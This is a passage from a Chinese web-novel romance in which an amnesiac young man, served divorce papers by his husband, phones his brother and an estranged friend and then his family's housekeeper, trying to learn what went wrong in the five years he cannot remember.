眼见男神一身不吭回屋去了，程想当即傻眼了。
这还是对方第一
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次无视他。
当他扶着后腰艰难地起身时，顾听岚又去而复返。
这次他手里拿着几张白纸，径直走到程想身边。
程想一见到顾听岚，就瞬间化身顶级恋爱脑，满脑子都是粉红色泡泡。
压根想不起来疑惑一下，本该在魔都的人，为什么突然出现在家里。
而且还不跟他说一声。
就在程想只知道痴痴地望着变得更有魅力的男神时，一道冰冷无情的声音在耳边响起：
“你看一下，然后签个字吧。”
虽然说着商量的话语，却用的是命令的语气。
程想这才看向放在茶几上的A4纸，疑惑发问：“听岚哥，这是什么啊？”
顾听岚瞥了眼浑身散发着天真气息的成熟男人，眼底的神色又冷几分，语气也变得更加不近人情：“离婚协议书。”
“？？？”
程想惊得身上瞬间不疼了，仔细去看纸上打印的字，待看清楚真是离婚协议书后，又迅速看向面无表情的顾听岚，试图从对方脸上看出开玩笑的痕迹。
顾听岚本就是不苟言笑的性格，程想又对他戴着厚厚的滤镜，自然什么破绽都没有看出来。
不给程想思考的时间，顾听岚从口袋里拿出一支签字笔，放在那张离婚协议书上。
他没有再说话，但是催促的意思十分明显。
明显到全身血液冻结、大脑停摆的程想，都看了出来。
骗……骗人的吧。
好端端的离什么婚啊？
“听岚哥……”
被这压抑可怕的氛围吓到了，完全搞不清状况的程想，当即变成了小哭包，泪眼汪汪道，
“你、你为什么要跟我……是不是我做错了什么，惹你生气了？”
虽然不知道23岁的自己做了什么，总归先道歉是没错的。
谁知，一向在男神面前无往不利的这一招，竟然不灵了。
顾听岚没有回答他，而是抬腕看了眼手表，然后一言不发地又回了卧室。
？？？
这是什么意思？
程想完全给整不会了。
当他抱着侥幸心理，以为顾听岚心软改变主意后，就见对方推着个行李箱出来了。
这一次，他没有再看程想一眼，而是直接朝玄关走去。
“？？？”
程想懵逼了两秒，才想起来去追，
“别走，听岚哥，我失忆了，你听我解释……”
砰——
程想后腰疼得厉害，以至于限制了行动。
等他追到门口时，顾听岚已经甩上门，拖着行李箱离开了。
啊啊啊啊——
怎么搞的，为什么会变成这样？
从大喜到大悲不过是一瞬间的事。
程想知道来不及追了，着急忙慌地拿出手机给顾听岚打电话。
“请不要挂机，您拨打的电话正在通话中……”
英文说完后，电话便自动挂断了。
还在耐心等待接通的程想，当即懵了。
他又拨打了两次，发现都是同样的情况，只好改用vx。
程想现在用的手机没有home键，光是解锁屏幕就花了一些时间。
等好不容易拨出顾听岚的vx账号后，一个小白框弹里出来：
【对方没有添加你为朋友，不能语音通话。】
泪眼朦胧中看清这一行冰冷的文字，程想只觉一阵天旋地转。
5. 初见
程想是高二暑假认识的顾听岚。
他从小喜欢画画，五岁就开始上美术兴趣班，高中更是去的艺术学校，直接将美术作为主科。
对于单招艺考，从来没有担心过。
高三前的暑假，他原本是打算和刘浩哲几人一起出去旅游，放松一下。
地点都选好了，在九寨沟。
结果动身前几天，哥哥程铭找上他，要给他介绍一个美术家教。
“他是我室友，设计系的，画画很厉害，你不是马上高三要参加艺考了么，让他带你两个月，帮你把画技再提升一个台阶，怎么样？”
程铭虽然是用着商量的语气，但程想一听，就知道他这个爱管闲事的哥哥，已经单方面答应人家了。
说不定还是主动求来的。
程想试着拒绝：“我们美术老师开的暑假班我都没去，家教就更不用了吧？”
“学费又不让你掏，不学白不学嘛！”
“我约了刘浩哲他们出去玩呢。”
“马上高三的人了，怎么脑子里净想着玩呢？不行，这个暑假你哪儿都不许去，就呆在家里好好画画。把刘浩哲他们也喊过来一起学，学费我全包。”
程铭竟然不仅把弟弟安排得明明白白，竟然还打弟弟朋友的主意。
这行为十分反常。
程想狐疑道：“你是有什么把柄在你室友手上么？怎么这么上赶着给人家揽生意？”
“瞎说什么呢？”程铭失笑地拍了下弟弟的肩膀，凑过来小声道，
“其实是他经济上有点困难，他那个人脸皮薄，有点清高……你们搞艺术的不都这样么？为了理想，喝西北风都愿意。
但是人得先顾着基本生存不是么？生活没有后顾之忧了，才好展现远大的抱负。我好说歹说，才说动他愿意来教你画画，你可不能给我打绊。”
“他经济有困难啊……”
程想不仅是个小哭包，共情能力还很强，态度一下变了，语气也带上了一丝感同身受的忧愁，
“学画画确实很烧钱，设计更烧钱。那你让他来教我吧，我不去旅游了。”
反正想旅游，以后有的是机会。
既然人家有困难，自然是能帮就帮。
“我就知道我弟弟最是人美心善，那说定了，明天我就带他去你那个小房子里找你，你那几个朋友……”
“我那几个朋友已经报了我们美术老师的暑假班，”程想遗憾地打断，“你跟他说了学费没？要不然我们多给点。”
十七八岁正是热血上头的年纪，程想就想帮人帮到底。
“还没有，不过学费你不用操心，就好好跟着学就行。对了我这个室友心思细腻，你可别把今天的事让他知道。”
“放心吧，我嘴严着呢。”
程想虽然年纪小，还有点中二，为人处事上要比同龄人成熟沉稳得多。
不过在见到哥哥的室友后，他却像换了个人似的，不仅变得毛毛躁躁，话还特别多。
可能是因为提前有了对方生活困难的印象，程想就在脑海中勾勒出一个坚韧朴素的穷学生形象。
结果等见了面后，当即惊得合不拢嘴。
不是他夸张，实在是对方长得太好看了。
五官不仅精致完美，还带点混血。
灰色的瞳孔和白得发光的肤色，宛如不染尘埃的山间精灵。
让人忍不住幻视是二次元的人气角色，来到了现实世界。
那时网上有一个外国女孩，因为cos的造型很像3D游戏角色而火出了圈。
程想觉得哥哥这个室友，完全不输那个漂亮妹妹。
甚至因为对方活生生站在他面前，带给他的震感还要更大一些。
爱美之心人皆有之。
看到美丽的事物都会想要亲近，但当美貌值拔高到一定程度后，反而让人心生敬畏，不敢接近。
程想现在就是这种感觉。
他先是像被点了穴道般，张着嘴愣在原地一动不动。
等回过神后，连连后退。
不知道的，还以为是他在躲避什么洪水猛兽。
“程想，你这是踩到尾巴了吗？满屋乱转什么呢？”
程铭这话，当然是夸张了。
不过却很好地止住弟弟丢人的行为。
“我、我没有。”程想收住慌乱的脚步，突然站了个标准的军姿。
“……”程铭只觉得没眼看。
他是知道室友相貌出色，所到之处总是会引起不小的骚动。
但弟弟跟着他见过大世面的，怎么也这么不稳重？
他倒没有嘲笑弟弟，除了要照顾对方敏感的少男心外，还需要对方的帮助。
“这位就是我跟你提过的，我同级的室友，顾听岚。”程铭又对身边的室友介绍道，“这个是我弟弟程想，他是艺术生，马上高三，非常需要绘画方面的辅导。”
“你好。”
冰雪消融般的清冷声音在耳边响起，不仅染红了少年的耳朵，还直直敲击在乱了频率的心脏上。
耳朵实在烧得厉害，心跳声也很大，怕被面前的两人，特别是那个仿佛可以主宰他情绪的人看出异样，程想又往后退了两步。
要不是被身后的博古架挡住了，只怕他还不会停。
场面一度十分尴尬。
程铭没料到弟弟这么没出息，一时间不知道该怎么缓解气氛。
还是漂亮得不似真人的顾听岚先一步打破了这诡异的僵持。
他向着程想走了两步，将一直拎在手里的纸袋子递到少年面前：“听说你喜欢吃甜食，我买了奶茶，和一些甜点，给你。”
顾听岚其实很不擅长社交，说完这长长一句话，几乎耗尽了全身力气。
他以为对方会接过去，或者客气地退让一番，结果却听到少年用清亮好听的声音问道：“你……你是专门给我买的，还是别人也有？”
“？？？”
这下子，把顾听岚给整不会了。
于是求救地看向程铭。
“当然是专门给你买的了，我又不爱吃甜的，更不爱喝奶茶。”程铭上大学就开始慢慢接管家里的生意，很少在网上冲浪，因此不知道这其实是个梗。
顾听岚每天都泡在画室，更不知道当下流行的梗。
程想也是嘴巴比脑子快，听到自己说了什么后，忙不迭道歉：“抱歉抱歉，忘了我刚刚说的话吧，非常感谢你的礼物，谢谢。”
他像是对待什么易碎物品般，小心翼翼接了过去。
“不客气。”顺利送出见面礼，顾听岚在心里长长舒了口气。
之后，气氛又安静下来。
程铭见这两人不像能自主交流的样子，只好留下来，充当气氛担当
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程铭不仅把顾听岚介绍给程想认识，为了两人快速熟悉起来，在初期出了不少力。
虽然程想一直没有跟哥哥说过他喜欢顾听岚，但暗恋就像感冒，是藏不住的。
为了不影响弟弟参加高考，程铭才一直装不知道。
而程想也一直很感激哥哥默默的助攻。
所以，在男神突然要跟自己离婚，又联系不到对方后，程想第一反应就是找哥哥程铭求助。
也不知道是程铭在忙，还是手机信号不好。
程想在拨到第三遍时，电话才打通。
“哥——”程想对着话筒大声哭起来，“快来救救你弟弟哇，十万火急呜呜——”
“你……”在程想哭得上气不接下气的时候，听筒里程铭的声音却格外冷静，还带着明显的疑惑，“你是程想？”
“我是啊，”程想以为是自己哭得太夸张，让亲哥不认识了，忙收住哭腔，还清了清嗓子，“哥，你唯一亲弟弟的声音，你都听不出来了吗？”
程铭罕见地没有接弟弟的话茬，而是公事公办地问道：“你有什么事？”
程想还沉浸在被男神抛弃的悲伤中，没注意到哥哥语气的冷漠，继续哭唧唧道：“怎么办啊，天塌了，听岚哥要跟我离婚，他还带着行李箱离开了我们的家，我怎么打他电话都不接，我感觉不像是开玩笑。”
按照顾听岚一板一眼的性格，也不会拿离婚开玩笑。
听到了一个大消息，弟弟还哭得几乎肝肠寸断，程铭却仍旧没什么情绪起伏，连话也懒得多说：“哦。”
呃？
程想终于迟钝地察觉到不对劲，看了眼屏幕上的名字，擦擦眼泪问道：“哥，你怎么……突然变得这么冷漠？”
他的记忆还停留在2016年的暑假。
知道他要向顾听岚告白，哥哥程铭对他说了很多鼓励的话。
怎么现在他要离婚了，却反应这么奇怪？
这不科学。
正好程铭没有再吭声，程想便主动问道：
“哥，是不是我做了什么事情惹听岚哥生气了，所以他才要跟我离婚的？我没有跟你说，我失忆了，不记得这几年的事情了。怎么办啊哥，我不想离婚，你快帮我想想办法，救救你可怜的弟弟吧。”
“……”程铭又是沉默了很长时间，之后才语气冷淡地问道，“你失忆了？”
“昂，我失忆了。我不想你担心，就没跟你说。”
而且他现在是大人了，还成了家，失忆这么大的事情，不能不管不顾就跟家人说。
“什么时候的事情？”程铭又问。
“就前两天，我今天刚出院。”
程想在哥哥面前从不隐瞒什么，倒豆子一般说道，
“我住院的时候听岚哥在魔都出差，当时还请假要回来看我呢，不知道为什么我出院后，他却要跟我离婚，离婚协议书都打印好了，就等着我签字呢。”
“你真不记得之前的事了？都哪些不记得了？”
听到程铭的关注点一直在自己身上，程想急了眼：“哥，现在重点是我失忆吗？是听岚哥要跟我离婚啊，你弟弟要离婚了啊！！！”
“离了好啊。”
这次，程铭的语气里终于有了情绪，但却是掩饰不住的高兴，
“这家伙终于想通了，你快签字，不准再耽误人家了！”
6. 绝交
“？？？”
程想震惊地忘记了哭，茫然地问，
“你是我哥吗？程铭？”
“是不是你哥我不知道，但我的确是程铭。”
对面来了这么一句。
深谙气死人不偿命的精髓。
要不是这声音与记忆中的一般无二，程想还真以为打错电话了。
“你也失忆了？”他只能这样想。
“神TM也失忆。”对面轻嗤一声，不耐烦道，“还有事没，没有挂了。”
说完不等程想回应，就径自挂断了。
“……”
一瞬间，程想认为自己遭受到了来自亲哥的霸凌。
对方的言行实在太过反常了，程响不信邪地又打了过去。
“哥我……”
真的需要你的帮助！
“你什么时候恢复单身，什么时候再联系来我，我很忙。”
程铭压根不听弟弟想说什么，就单方面结束了通话。
程想再打过去，那边直接挂断。
可见是真的没空。
或者是不想遭受弟弟的骚扰。
哎不是，他是有正事，怎么算是骚扰呢？
怎么一觉醒来，身边的人都对他态度大变？
23岁的他，是过得有多失败？
程想不信未来的自己会这么失败。
他还是打不通顾听岚的电话，便打给最好的朋友刘浩哲。
几个小伙伴里，他和刘浩哲认识的时间最久。
两人先是同在一个美术兴趣班，后来高中又做了同学。
他俩性格也很像，有时候程想都是认为对方是另一个自己。
结果他在通讯录里找了半天，都没有找到刘浩哲的名字。
纳尼？
难道对方把他删了。
不对，对方就算删了他，也不可能从他的通讯录里消失。
难道，是他把对方删掉了？
想到这个可能，程想冷汗下来了。
他此刻还站在玄关处，便就近坐在鞋柜旁边的凳子上。
这一会儿心情大起大落，又刚从医院回来，无论是心理上还是身体上，都让程想有些承受不住。
他没有记亲友手机号的习惯，vx里也没找到刘浩哲的名字。
便打算去扣扣上找。
16年vx还没那么普及，特别对于学生党，还是以扣扣为主。
然后程想翻遍手机上的app，都没有找到扣扣这个软件。
虽然他知道未来会发展很快，但是总不至于把扣扣淘汰掉吧？
他扣扣里加了很多绘画群，还有喜欢的画手大大，接稿子也是用的扣扣。
要是没了这个社交软件，会少很多快乐的。
好在等他下载好，顺利登录进去后，发现大部分群依然热闹。
看着熟悉的界面，他恍惚间有种还在16年的错觉。
特别是发现刘浩哲的扣扣显示在线登陆，那种亲切感更强烈了。
程想立即一个语音通话打了过去。
很快，那边便接通了。
这么顺利，以至于程想以为产生了幻觉。
“喂——”
刘浩哲“喂”了几声，没听到回应，奇怪道，
“是程想吗？”
两人以前经常用扣扣联系，光是看头像，就能认出彼此。
“浩哲，是我！”程想激动得想穿进手机里拥抱这个好兄弟，“你这会儿有空吗？”
对着好兄弟，程想就不像在哥哥面前那样无所顾忌，还是有些边界感的。
“怎么了？有事你说话。”刘浩哲豪爽道。
对方表现得跟之前一样，程想反倒不好意思开口了。
因为他突然发现一个可怕的事实。
那就是虽然他跟刘浩哲关系很好，但是两人想上的大学不一样。
现在是五年后，对方大概率不跟他在同一个城市，对于他的婚姻生活，只怕不会了解多少。
他太知道自己的性格了。
极重隐私，又报喜不报忧。
很可能，对方根本想不到他会和顾听岚走到离婚的地步。
“到底怎么了？怎么不吭声？”刘浩哲又问，“难道是又跟听岚哥吵架了？”
“你……你知道我们吵过架？”
夫夫间吵架，在程想眼里是非常严重的事情。
刘浩哲既然一猜就中，那就证明之前他曾经告诉过对方。
于是程想不再有顾虑，坦言道：“我们这次没吵架，但是听岚哥……他、他想跟我离婚，你知道……”我们之前有什么矛盾吗？
怕刘浩哲也把重点放在他失忆上面，程想便没提失忆的事。
不等程想把话说完，刘浩哲便夸张打断道：“真的假的？听岚哥真要跟你离婚？是他亲口说的？”
“……”虽然隐隐感觉重点还是有些跑偏，程想顺着回道，“对，是他亲口说的，离婚协议书都准备好……”
“跟他离！”刘浩哲又是没把话听完，便打断了，虽然不像程铭那样高兴，但语气也是激动的，“你们早该离了。”
程想天生上翘的唇角，垂了下去。
他虽然猜出来自己的婚姻出现了问题，却没料到竟然到了如此严重的多地步。
身边人居然都盼着他离。
可即使如此，程想还是想着去修复两人的关系：“我不想离。”
怎么可能会答应呢？
在他这里，他都还没有开始告白。
离什么婚？
23岁的他做的错事，凭什么让18岁的他承担后果？
“你不想离？”刘浩哲似是不知道好友对男神情根深种，语带嘲讽道，“你有什么资格不想离？”
“？？？”程想被问得一愣。
不等他想好怎么辩白，就听刘浩哲气愤填膺道：“你不仅出轨，在外面沾花惹草，还动手家暴听岚哥，他能忍你2年，已经够仁至义尽了，你要还有点良心的话，就放手吧。”
“……？？？”
这句话像是当头一棒般，程想全身的汗毛都炸开了，头皮发紧，又感到眩晕了，
“你……刘浩哲，你在说什么啊？”
出轨，家暴？
他？？？
他可是暗恋了男神一年多才告白，蚂蚁都不敢踩死的人，怎么会对放在心尖上的人动一根手指头？
不可能，绝对不可能。
程想扶住膝盖，撑住摇摇欲坠的上半身，在刘浩哲一叠声的劝离声中，说道：“你在哪儿，我现在过去找你。”
误会，一定是有天大的误会。
因为被刘浩哲痛斥的罪名太过离谱，程想便以为对方不知道从哪儿听来的谣言，根本不知道他的婚姻状况。
“你……”刘浩哲并不知道被程想打上了“不可信”的标签，顿了顿，用怀疑的口吻说道，“你现在要来找我？”
“对，把你地址告诉我。”
“……”刘浩哲沉默了片刻，才道，“我在瑞士，你确定要来？”
“？？？”程想迷茫道，“你在瑞士干什么？”
“……”刘浩哲叹了口气，自嘲道，“原来你不仅把我删了，连我这个人都忘了。我女朋友在瑞士上学，我过来陪读。为了咱俩十几年的交情，就算你单方面跟我绝交了，我还是给你发vx、weibo，还有扣扣说了这件事
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，敢情你是一个字都没看。”
十几年的兄弟情，说断就断。
听说对方对追了没几年的人变心、家暴，刘浩哲是一点都不惊讶。
他惊讶的是，对方居然没把他的扣扣删掉，还在绝交几年后，突然打语音电话联系他。
更离谱的还是跟他抱怨婚姻问题。
他没有当场放鞭炮庆祝，算是非常有涵养了。
“我、我不知道。”程想瞬间慌乱起来，无助地掐着大腿肉，充满歉意道，“对不起。浩哲，我……我失忆了，就是这五年的事情我都不记得了，我不知道怎么会要跟你绝交，咱俩认识这么久，我怎么会跟你绝交呢？我绝对不会这样做。”
“你失忆了？”出乎意料的，刘浩哲听了之后，竟然一点都不觉得意外，甚至连关心程想的意思都没有，“哪5年的事情不记得了？”
“就是2016年暑假到现在的事情。”
“全部不记得了？”刘浩哲似乎是警探上身，质问道，“还是零零散散记得一些模糊的片段。”
好在程想并没有觉得对方的态度有什么问题，好脾气回道：“全部不记得了，就像断片了一样。我甚至感觉自己是从2016年穿越过来的。”
虽然知道两人如今是绝交状态，程想不认可未来自己的做法，仍旧把对方当成最好的朋友。
也是因为他的坦诚相待，刘浩哲的语气总算是缓和了一些，也带了点关心：“那你这次的情况，有些严重啊。你应该去看医生，而不是跟我打电话。”
虽然有关心，但并不多。
“这次？”程想敏锐地抓到关键词，“我难道之前也失忆过吗？”
“你不记得了？哦对，你又失忆了。”刘浩哲道，“也真是巧了，你上次失忆就是在五年前。不过那时候你只是忘记了一小部分记忆，大部分还记得，你就没当回事。”
不过，从那之后，他们之间的关系就疏远了许多。
后来他还被单方面绝交了。
因为心里存着气，刘浩哲便没提。
程想也想不到这些，关注点全在自己不是第一次失忆这件事上：“那你还记得五年前，我失忆的具体时间吗？”
“这么久了，我哪儿记得？而且你也没有第一时间告诉我，我记得你原本是打算把这件事隐瞒下来的。好像是这样，我真记不清了。”
“好，非常感谢你。”
意外得知了重要信息，程想默默记下，然后怀着忐忑的心情又道，
“浩哲，我再次为跟你断交这件事道歉，你是我最好的朋友，我不想失去你，你还愿意跟我做朋友吗？”
他只是想表明自己的态度，并没有要刘浩哲立即就做出决定。
哪知对方想也不想就拒绝了：“不愿意。”
“为什么？”程想快要碎了，“是我之前……做了什么对不起你的事情吗？”
“那倒没有。”刘浩哲不是不珍惜两人十几年的友情，只是有自己的坚持，“道不同不相为谋，你我各自安好吧。”
“你这话……”是什么意思？
“阿哲，你在忙什么呢？过来帮我一下。”一道女声突然插了进来。
“好的。”刘浩哲先回应了女朋友，才对程想道，“我女朋友在喊我，不说了，再见。”
看着两人干净的聊天界面，程想突然有种物是人非的感慨。
昨天还一起玩闹、畅想未来的小伙伴，转眼已各奔东西，或许不会再相见了。
而失去这关键5年记忆的程想，像是被遗忘在了时间的夹缝中。
越是想寻出路，反而越是茫然无措。
看来，想要挽回破碎的婚姻，得先找回丢失的记忆。
7. 分居
摩挲着“快乐小狗”这个扣扣名的程想，一点都不快乐。
坐在凳子上发了会儿呆后，起身往卧室走去。
他只顾沉浸在自己的情绪中，等回过神来后，发现已经站在卧室衣柜前。
并且打开了柜门。
看来虽然他失忆了，身体的肌肉记忆还在。
不用他花心思寻找，就自动将他带到目的地。
程想在医院躺了两天，这时候打算洗个热水澡，顺便把身上难受的板正西装换下来。
结果衣柜里一水儿的衬衫西装，连件T恤都没有。
23岁的他是有什么强迫症吗？
为什么执着于只穿一种衣服？
而且更奇怪的是，他翻遍三个大衣柜，都没有看到顾听岚的衣物。
他虽然没结过婚，也知道夫妻是共享衣柜的。
像他和顾听岚两人身材差不多，还能共享衣服。
怎么这间卧室里，只有他一个人的物品？
意识到什么，程想抬脚便往外走。
这套大平层是三室两厅的布局。
他刚呆的应该是主卧，屋内不仅宽敞明亮，还带有独立卫生间。
另外两间卧室，一间在对面，另一间隔着个客厅。
程想先去了对面的卧室。
主卧只有一个男主人的物品，证明他和顾听岚是分居状态。
两人的婚姻，不是最近才出问题的。
他以为顾听岚的卧室在对面。
因为之前对方几次往返卧室，都是去的这边。
结果主卧对面的房间，竟然是书房。
除了书桌书椅，和一整面书柜外，什么装饰都没有。
冷清得像是要遁入空门。
虽然顾听岚是高岭之花的类型，但屋子里连个电脑都没有，绝不是设计师的地盘。
程想便去了单独在一边的卧室。
一推开门，沁人心脾的香气直冲门面。
他定睛看过去，只见小飘窗上，摆放着一个白色花瓶。
里面插着一大束鲜花。
不仅品种多样，颜色还是橙黄白的同色系。
午后的阳光洒在暖色的鲜花上，更显得热烈又生机勃勃。
程想原本灰暗的心，看到这束明媚的花束后，在胸腔里剧烈震动。
鼻尖蓦然一酸，要不是及时抬手抓在门框上，疲惫的身躯只怕要原地倒下了。
此刻的他，就像是严重缺氧的人，突然得到了满满一罐氧气瓶。
因为吸进的氧气太多了，反而变得很不适应。
但在不适之下，却是难以表述的激动和舒畅。
这间屋子，是听岚哥的房间。
不用查看其他地方，程想就十分笃定。
屋子随主人。
仅仅是身处其中，就让他感受到了怦然心动。
好想听岚哥。
迫切地想。
程想拿出手机继续打给顾听岚。
他不知道自己被拉黑了，发现依旧打不通后，只好又回到主卧。
洗完澡后，随便找了套干净衣服，便急匆匆出了门。
他联系不上顾听岚，也不知道对方会去哪里。
只好先回自己家。
既然两人结婚了，作为最亲近的家人，肯定了解他的婚姻情况。
也可能知道顾听岚会去哪儿。
甚至，程想还异想天开的想，说不定对方回了他父母家里。
之所以会这样想，是因为两人熟了之后，有次闲聊，顾听岚无意中透露自己孤身一人。
当时他们在聊关于未来的话题。
程想之前心仪的大学是川美。
不仅因为它是八大美院之一，那里还有他喜欢吃的火锅。
不过在见到顾听岚后，就悄悄在心里把志愿改到了青大。
就算将来追不到男神，他也要和对方在同一个学校。
那时候网上正流行一句话——
【他朝若是同淋雪，也算此生共白头。】
清大的香樟树全国闻名，他想去那里逛逛。
走男神走过的路，也算是和男神一起约过会了。
当然，聊天的时候，程想可不敢把这种大胆的想法说出来，只说自己的目标是考上青大。
“青大的美术系其实一般，你怎么不考虑八大美院呢？你的水平，哪一个都能考上的。”
顾听岚只是外表看起来很有距离感，让人不敢靠近。
熟悉之后就会发现，他其实很好相处，也没有艺术生的清高与孤傲。
在看过程想作画后，顾听岚就知道他根本不需要请私教。
但因为他答应过程铭，会教满对方弟弟一个暑假，程铭还提前把学费硬塞给了他。
于情于理，他都不能出言反悔。
他没有因为程家兄弟俩的“欺骗”而生气，反而认为这对儿兄弟非常善良。
还贴心地照顾到了他的颜面。
默默感激的同时，更加用心地传授绘画经验。
也尽量为对方的前途，给予更好的建议。
“我其实有考虑过八大美院，但是我更喜欢青大。”程想在回答这个问题的时候，明亮的眼睛紧紧盯在顾听岚身上。
有人会因为一个人，喜欢上一座城市。
他也会因为一个人，而喜欢上一所学校。
“兴趣是最好的老师，既然你有心怡的学校，那就朝着这个目标努力吧。”
顾听岚没有一味把自己的想法强加于人，而是选择尊重程想的想法。
初见以为是高不可攀的雪莲花，接触后才发现是对方像一湾清泉，干净纯粹，又平易近人。
情窦初开的少年，怎么会不更加喜欢呢？
“那听岚哥，你为什么会上青大呢？”程想小心翼翼隐藏着自己的感情，好奇道。
“我……”顾听岚迟疑了一下，才道，“是因为资助我的人，只给了两个学校让我选择，另一个学校的美术系更不行，所以我才选了青大。”
“资助人？”听到这个意想不到的词汇，程想嘴比脑子更快地问道，“你爸妈不给你交学费吗？”
意识到后，忙补救，“对不起听岚哥，我说错话……”
“没关系，不要道歉，你又不知道，怎么算是说错话呢？”
顾听岚不仅长着一张天使的脸庞，还有一颗天使之心，语气轻柔地道出自己的身世，
“我妈妈在我很小的时候就去世了，我……爸，又组建了一个家庭，我已经成年了，他对我的抚养义务也就结束了。所以……”
“听岚哥，”共情能力极强的小哭包瞬间红了双眼，忍着哽咽说道，“你这么好，以后会有一个幸福美满的家庭的。一定会有的！”
“谢谢你的祝福，我也相信我会有的。”
……
当时知道顾听岚的身世后，程想就暗自打定主意，未来一定要给他一个温暖幸福的家。
23岁的他也的确做到了。
程想想不通两人怎么会走到离婚这一地步。
他依然不相信自己会出轨和家暴。
只笃定其中一定有着天大的误会。
他要找家人问个清楚。
结果回到家后，却发现爸妈都不在家。
迎接他的只有家里的阿姨王妈。
“小少爷，你今天怎么想起来回家了？”
王妈大概是年轻时看多了霸总文，不
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管程想一家人怎么纠正，她都坚定地称呼程父程母“老爷夫人”，喊程想兄弟俩为“少爷”。
“我爸妈呢？”程想早已对这个玛丽苏的称呼免疫了，着急地问道。
“少爷先喝茶润润嗓子，你的声音都变了。”
王妈贴心地将茶杯放在程想面前的桌子上，然后才回道，
“老爷和夫人出门旅游了，昨天刚走，说是去长白山玩。”
程想：“……”
怎么他爸这个工作狂，还会带老婆出门旅游？
他这样想着，便问出来了。
王妈埋怨地看了程想一眼，说道：“小少爷你年纪轻轻，怎么记性就不好了。老爷把工作都交给大少爷了，他现在一身轻，当然没事就带着夫人到处旅游玩了。”
“……”程想默默被亲爹秀了一把恩爱，放弃找父母询问的想法。
两老好不容易出去一趟，还是不要打扰他们了。
“我哥什么时候回来？我等他吧。”程想端起茶杯，喝了一口。
“小少爷，你今天咋回事，怎么净说胡话呢？”王妈上上下下打量程想，“大少爷去年结婚后就搬出去住了，只有逢年过节才会回来这里。”
“？？？”程想差点把手里的杯子摔了，“我哥他、结婚了？”
“小少爷，你都结婚两年了，大少爷比你还大4岁呢，结婚不是很正常吗？”
王妈说完后，坐在一旁的沙发上，仔细观察程想。
那目光带着明显的审视，程想将茶杯放回桌子上，坦诚道：“王妈，我不记得这几年的事情了，我失忆了。”
“我看出来了，小少爷。”王妈表现得十分冷静。
程想抬起眼帘看过去，还没发问，就听王妈说道：
“你前几年也失忆过一次，没这次忘的事情多。没事，失忆听着挺吓人，其实一点不影响生活，你想知道什么只管问王妈，王妈来这个家也十几年了，你的事情我没有不知道的。”
上了年纪的人总是喜欢忆往昔，王妈话匣子一打开，就收不住了，
“你8岁那年，有次吵着闹着要跟大少爷去游泳馆玩，结果到了地方却害怕水，不敢下去，还哭鼻子……”
“王妈，我只是不记得近几年的事情了，小时候的事情我还记得。”程想赶紧打断她说这段黑历史。
“哦哦，”王妈可惜地叹了口气，然后又问，“小少爷，你今天回来，是不是想找老爷太太问事情的？你想问什么，说不定我知道呢。”
王妈来他们家十几年了，早相处成了亲人。
程想对她没什么可隐瞒的：“王妈，听岚哥有没有来这边？”
“顾少爷？没有，他基本上不过来这边。”王妈这次长长叹了口气，“那么俊的一个小伙子，我第一眼见就很喜欢，可惜，就是性子太冷了，像石头记里的妙玉，叫人不敢亲近。”
王妈虽然夸了顾听岚的长相，心里却认为男人长得太漂亮，尤其还长着一双薄唇，是典型的亲缘浅的薄情相。
不是她迷信，自从小少爷和顾少爷在一起后，性子也跟着变得越来越冷淡。
和家人渐渐疏远了不说，有时候她都觉得像换了个人似的。
真怀念当初那个热情开朗的小少爷。
也不知道小少爷到底喜欢对方什么。
“听岚哥哪里像妙玉了？王妈，你可别乱说。”
程想哪里容得心里的男神被诋毁，蹭得站了起来，生气道，
“你跟他接触得少，不知道他的为人。他非常善良热情，我没见过比他更好的人，他……”
记起两人现在的关系，程想直接道，
“他是我的爱人，你要是再说他的坏话，就不要在我家干了。”
8. 告白
王妈从来没听程想说过这么重的话。
哪怕第一次失忆，变得对她不再像从前亲近，也是一直客客气气的。
而且王妈会那样说顾听岚，是因为没少听程想说过类似的话。
要不然她怎么敢在雇主面前搬弄是非。
她本意是讨好程想，却不想踢了铁板，忙去到对方身边说道：
“好好，小少爷，王妈以后再也不说顾少爷的坏话了，等见了顾少爷我跟他道歉，你消消气，王妈真的知道错了。”
“……嗯。”
程想那样说只是为了震慑王妈，不是真要开除她。
见对方道了歉，便不再追究了。
因为这个小插曲，他就不想待在家里了。
王妈却拉住他不让走：“小少爷，快到饭点了，你就在家里吃了饭再走吧。你很久没吃王妈做的饭了。”
“……行吧。”程想这会儿也不知道该去哪里，只好留了下来。
很快，王妈便做好了饭，都是程想爱吃的。
在他吃完后，王妈小心翼翼问道：“小少爷，你怎么问起顾少爷有没有回来？”
吃饱后，程想感觉整个人又活过来了。
看出王妈还没从刚才的事情缓过来，他便没有隐瞒：
“我失忆前和听岚哥吵架了，把他气得离家出走了，所以我才问他有没有回来。他孤身一人，能去哪儿呢？难道是住酒店了？”
“顾少爷说不定回自己家里去了。”王妈说道。
“自己家？哪个自己家？难道他还买了房子吗？在哪儿，你知道地址吗王妈？”
“顾少爷有没有买房子我不知道，我的意思是他可能回他爸那儿了。”
“他爸？”程想一愣，脱口道，“他爸不是……不是有自己的家了吗？”
顾听岚的爸爸，喝了早年无良杂志上的毒鸡汤，坚定地认为西方国家在孩子满十八岁以后，就会断了经济来源，逐出家门。
他因为和第一任妻子关系不和，连带着很不待见大儿子顾听岚。
再婚后，直接把大儿子丢给保姆带。
等顾听岚到了上学的年纪，就让他上寄宿制学校。
每月只给能够维持温饱的生活费，等顾听岚满十八岁后，直接撒手不再管了。
还美其名曰，是学习西方先进的教育方式。
这些内幕，是程想缠着程铭，辛苦打听出来的。
所以在听到王妈的猜测后，程想压根不相信。
“顾少爷的爸爸是再婚了，但父子间血脉相连，关系还是很亲近的，顾少爷现在就在他爸爸的公司上班，小少爷你……”
说到这里，王妈突然停顿了下来。
程想掐了把自己，确认不是在做梦后，问道：“我怎么了？”
“你那个房地产公司，也是在顾少爷家里的帮助下，才办起来的。”
这件事太有吃软饭之嫌，所以王妈才不好意思说。
而程想则是完全懵了。
他只知道自己转行了，却想不到还有这层内情。
豪不夸张的说，王妈告诉他的事情，完全颠覆了他的认知。
“小少爷，你怎么了？”
见程想脸色苍白地突然站起身，王妈关心地问道。
“没事，我……”程想看着熟悉的家，和熟悉的人，却汗毛直立，感到一阵恐慌。
“我先走了。”
他实在是呆不下去了，脚步匆忙地离开了家。
一直跑到马路边才停了下来。
看着热闹的车水马龙，程想却觉得满天的孤寂包裹着他。
他是谁？
他在哪儿？
他为什么会丢失5年的记忆？
原本以为忘记的事情，找知道的人了解就好了。
现在他却觉得，自己不仅丢失了几年的记忆，还可能丢失了很多重要的东西。
